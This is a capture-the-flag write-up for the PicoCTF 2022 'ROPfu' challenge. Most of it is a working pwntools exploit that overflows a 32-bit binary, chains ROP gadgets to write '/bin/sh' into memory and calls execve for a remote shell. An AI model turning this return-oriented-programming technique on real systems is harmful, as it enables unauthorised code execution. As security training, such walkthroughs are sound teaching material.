Skip to content

PicoCTF 2022: ROPfu

TL;DR

  • Classic x86 Return-Oriented Programming challenge.
  • No shellcode execution; NX is enabled.
  • Use ROP gadgets to write /bin/sh into the .data section.
  • Set up registers and trigger execve via int 0x80.

Video Walkthrough

PicoCTF 2022 ROPfu pwn video walkthrough demonstrating x86 ROP chain construction and execve syscall

Description

What's ROP?

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x8049dd0
continue
'''.format(**locals())

# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# How many bytes to EIP?
offset = 28

io = start()

# ROP
rop = ROP(elf)  # Load rop so we can access gadgets

# Address of .data section
data_section_address = elf.symbols.data_start

# We will pop address of .data section into eax
# Later, we'll pop 0xb to eax for syscall
pop_eax = 0x80b074a  # pop eax; ret;

# Then pop the string "/bin" into edx (junk for ebx)
pop_edx_ebx = 0x80583c9  # pop edx; pop ebx; ret

# We'll mov the string in edx to the address pointed to by eax (.data)
# Then, we need to repeat again for "/sh\x00"
mov_eax_edx = 0x809e5d8  # mov dword ptr [eax], edx; ret;

# Pop .data section address ("/bin/sh") to ebx, make ecx zero, then execve
pop_ebx = 0x8049022  # pop ebx; ret;
pop_ecx = 0x8049e39  # pop ecx; ret;
execve_syscall = 0x8071650  # int 0x80; ret;

# Write first 4 bytes ("/bin") to data section
rop.raw([pop_eax, data_section_address, pop_edx_ebx, b'/bin', b'junk', mov_eax_edx])

# Write second 4 bytes ("/sh") to data (+ 4 bytes)
rop.raw([pop_eax, data_section_address + 0x4, pop_edx_ebx, b'/sh\x00', b'junk', mov_eax_edx])

# Syscall - execve (https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Via_interrupt)
rop.raw([pop_edx_ebx, 0x0, data_section_address, pop_ecx, 0x0, pop_eax, 0xb, execve_syscall])

# Build payload (inject rop_chain at offset)
payload = flat({
    offset: rop.chain()
})

# Save payload to file
write('payload', payload)

# PWN
io.sendlineafter(b'!', payload)
io.interactive()